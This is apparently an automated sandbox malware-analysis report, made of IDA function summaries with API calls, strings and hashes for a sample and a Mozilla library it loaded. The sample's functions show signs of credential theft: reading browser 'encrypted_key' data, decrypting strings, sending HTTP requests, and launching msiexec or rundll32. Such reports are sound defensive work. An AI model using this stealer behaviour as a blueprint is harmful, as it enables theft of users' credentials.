Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 4eef6f4592c70d2800c2c6ac00874f776d919951629c0d71a83eec63ab3368b4
Instruction ID: 9f0344c55323d132c384d635bf135b606743c406a7e5898bd4ae8af5dd0c6357
Opcode Fuzzy Hash: 4eef6f4592c70d2800c2c6ac00874f776d919951629c0d71a83eec63ab3368b4
Instruction Fuzzy Hash: 37121D71901149DADB19FBA0DD91FEEB738AF24310F504159E58667198EF382B8ECFA0

Function 6C60EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60EC8C

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60ECA1
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C60ECC5
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C60ED19
CloseHandle.KERNEL32(?), ref: 6C60ED28
free.MOZGLUE(00000000), ref: 6C60ED2F
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C60EC94

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 1fd8ebe4facb339a744479fc756eb73d7baa5716f362e840e26c035b1d76682d
Instruction ID: 660f78cd5691f4a94064f3ba340cac28532e0e0ccb9f7d51e6442462070bb79c
Opcode Fuzzy Hash: 1fd8ebe4facb339a744479fc756eb73d7baa5716f362e840e26c035b1d76682d
Instruction Fuzzy Hash: 2821D375700514ABDB04AF26D944AAE7779EF8636CF10C210FD18A7781DB719806CBAE

Function 6C5EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ECAA5

Strings

(null), xrefs: 6C5EC596
0, xrefs: 6C5ED30A

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 84f4dfa2ba1ed5edcd589cf3f580ef308c00870a7253d9f633983a5d5a0db6bf
Instruction ID: 23c90888c69aff3a10da8954314ce53970740d8f6ae9ba1125b9059873129b24
Opcode Fuzzy Hash: 84f4dfa2ba1ed5edcd589cf3f580ef308c00870a7253d9f633983a5d5a0db6bf
Instruction Fuzzy Hash: ADA189306083429FDB10EF29C994B5BBBE5AFCD748F14892DE89A97741D731E805CB86

Function 010152C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 01006280: InternetOpenA.WININET(01020DFE,00000001,00000000,00000000,00000000), ref: 010062E1
Part of subcall function 01006280: StrCmpCA.SHLWAPI(?,00A5EA78), ref: 01006303
Part of subcall function 01006280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01006335
Part of subcall function 01006280: HttpOpenRequestA.WININET(00000000,GET,?,00A5E278,00000000,00000000,00400100,00000000), ref: 01006385
Part of subcall function 01006280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 010063BF
Part of subcall function 01006280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 010063D1

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01015318
lstrlen.KERNEL32(00000000), ref: 0101532F

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

StrStrA.SHLWAPI(00000000,00000000), ref: 01015364
lstrlen.KERNEL32(00000000), ref: 01015383
lstrlen.KERNEL32(00000000), ref: 010153AE

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Strings

ERROR, xrefs: 010153B9
ERROR, xrefs: 01015432
ERROR, xrefs: 0101546F
ERROR, xrefs: 0101530A
ERROR, xrefs: 010154A9

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 005eaf475842b7cc64c0e03157bccf90e87fb3924d8693bd749e9c67545f1f2e
Instruction ID: a120df5c6c97189e20587d8c1a4aac803a275a550b658cd42fa9f1b0e7db3a98
Opcode Fuzzy Hash: 005eaf475842b7cc64c0e03157bccf90e87fb3924d8693bd749e9c67545f1f2e
Instruction Fuzzy Hash: E5513030A1118ADBDB18FF64CD95AED7779AF20311F504018F8879B594EF386B0ACBA1

Function 6C5C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5C350E
__Init_thread_footer.LIBCMT ref: 6C5C3522
__aulldiv.LIBCMT ref: 6C5C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5C3592

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

Strings

kernel32.dll, xrefs: 6C5C34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5C3508

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 103f7e3cbf6cc1c801bfb172f8485adbbc082ae7cd87339741272227dd20a528
Instruction ID: 15bf4787394a51c8d634e7345ae0f2ba64464c8f4ff12c99b794cebdfd97a1b4
Opcode Fuzzy Hash: 103f7e3cbf6cc1c801bfb172f8485adbbc082ae7cd87339741272227dd20a528
Instruction Fuzzy Hash: 7D319375B002499BDF04EFBACC88EAE77B5FB86309F10C419E515A3650EB70A905CF66

Function 6C5C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C604843,?), ref: 6C5C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C604843,?), ref: 6C5C468A
free.MOZGLUE(?,?,?,?,?,?,6C604843,?), ref: 6C5C46C9
free.MOZGLUE(?), ref: 6C5C46EF
free.MOZGLUE(?), ref: 6C5C4712
free.MOZGLUE(?), ref: 6C5C4735
free.MOZGLUE(?), ref: 6C5C4758
free.MOZGLUE(?), ref: 6C5C477B
free.MOZGLUE(?), ref: 6C5C479E

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 64c49cc0a9088f3c1bad03ec42a1d0caf4abf7378532fbf5fbd5944e66d7942c
Instruction ID: 9e8577b9d8768de45ec16bd8bd2f5d8f5310f6918295dba1e4282b946527d9e1
Opcode Fuzzy Hash: 64c49cc0a9088f3c1bad03ec42a1d0caf4abf7378532fbf5fbd5944e66d7942c
Instruction Fuzzy Hash: 91B1E371B001518FDB18CEACCCD0B7D76B2AF85328F18466DE816DBBC6E73498408B82

Function 010112D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: c8a69de5e140324505540f17c963f9cd3095c4703ec82ce7f863fc0409bea1ee
Instruction ID: 41074091dba8b34b7da2c3bb0a210efcf72296d21473a1da1b4ef66c7dbda705
Opcode Fuzzy Hash: c8a69de5e140324505540f17c963f9cd3095c4703ec82ce7f863fc0409bea1ee
Instruction Fuzzy Hash: E3C1B8B5A4121D9BCB14EF60DC88FDE7378BF64304F0045D9E54AA7244EB78AA85CF90

Function 01014280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 010142EC
lstrcat.KERNEL32(?,00A5E3F8), ref: 0101430B
lstrcat.KERNEL32(?,?), ref: 0101431F
lstrcat.KERNEL32(?,00A5CF18), ref: 01014333

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 01018D90: GetFileAttributesA.KERNEL32(00000000,?,01001B54,?,?,0102564C,?,?,01020E1F), ref: 01018D9F

Part of subcall function 01009CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 01009D39

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Part of subcall function 010193C0: GlobalAlloc.KERNEL32(00000000,010143DD,010143DD), ref: 010193D3

StrStrA.SHLWAPI(?,00A5E260), ref: 010143F3
GlobalFree.KERNEL32(?), ref: 01014512

Part of subcall function 01009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009AEF
Part of subcall function 01009AC0: LocalAlloc.KERNEL32(00000040,?,?,?,01004EEE,00000000,?), ref: 01009B01
Part of subcall function 01009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009B2A
Part of subcall function 01009AC0: LocalFree.KERNEL32(?,?,?,?,01004EEE,00000000,?), ref: 01009B3F

lstrcat.KERNEL32(?,00000000), ref: 010144A3
StrCmpCA.SHLWAPI(?,010208D1), ref: 010144C0
lstrcat.KERNEL32(00000000,00000000), ref: 010144D2
lstrcat.KERNEL32(00000000,?), ref: 010144E5
lstrcat.KERNEL32(00000000,01020FB8), ref: 010144F4

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 39b81510a89c7227e319195aac1addb14ff873cac839472497a45e8643937852
Instruction ID: d3c0348dfb001024887b46d316ad23cd8494ca22df6ad2c4eeeecaa29a0cc656
Opcode Fuzzy Hash: 39b81510a89c7227e319195aac1addb14ff873cac839472497a45e8643937852
Instruction Fuzzy Hash: BB7187B6D00209ABDB14EBE0EC89FEE7379BB58304F048598E64697184EB74DB45CF91

Function 6C62AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C62AC52
CreateFileMappingW.KERNEL32 ref: 6C62AC7D
GetSystemInfo.KERNEL32 ref: 6C62AC98
MapViewOfFile.KERNEL32 ref: 6C62ACB0
GetSystemInfo.KERNEL32 ref: 6C62ACCD
MapViewOfFile.KERNEL32 ref: 6C62AD05
UnmapViewOfFile.KERNEL32 ref: 6C62AD1C
CloseHandle.KERNEL32 ref: 6C62AD28
UnmapViewOfFile.KERNEL32 ref: 6C62AD37
CloseHandle.KERNEL32 ref: 6C62AD43
CloseHandle.KERNEL32 ref: 6C62AD67

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 58cefe539437607c0d999f308b4c7a5a9f55865fa748e966f6d933fa4391df99
Instruction ID: e56948ba5a78a12f7c6d10205341decc59dc553b84023f2c8cdc0697a498d8e0
Opcode Fuzzy Hash: 58cefe539437607c0d999f308b4c7a5a9f55865fa748e966f6d933fa4391df99
Instruction Fuzzy Hash: 78314FB19047058FDB00BF7DD68866EBBF0BF85305F018929E99986211EB749449CB96

Function 6C619D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C618273), ref: 6C619D65
free.MOZGLUE(6C618273,?), ref: 6C619D7C
free.MOZGLUE(?,?), ref: 6C619D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C619E0F
free.MOZGLUE(6C61946B,?,?), ref: 6C619E24
free.MOZGLUE(?,?,?), ref: 6C619E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C619EC8
free.MOZGLUE(6C61946B,?,?,?), ref: 6C619EDF
free.MOZGLUE(?,?,?,?), ref: 6C619EF5

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 54173dc28736ad06bbc8728b0545bd945018299a99984abf491fed4c54636613
Instruction ID: 824f78254bf0265331dbd1c97351cd6d4768a2d67c5679aa7a92048cee96e99c
Opcode Fuzzy Hash: 54173dc28736ad06bbc8728b0545bd945018299a99984abf491fed4c54636613
Instruction Fuzzy Hash: 3A719F70909B41CBD716CF18C88055BF3F4FF99319B84965DE89A9BB02EB30E885CB85

Function 6C61DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C61DDCF

Part of subcall function 6C5FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FFA4B

Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C6190FF
Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C619108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DE0D
free.MOZGLUE(00000000), ref: 6C61DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C60DEFD,?,6C5D4A68), ref: 6C61DF32

Part of subcall function 6C61DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C61DB86
Part of subcall function 6C61DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C61DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C60DEFD,?,6C5D4A68), ref: 6C61DF65
free.MOZGLUE(?), ref: 6C61DF80

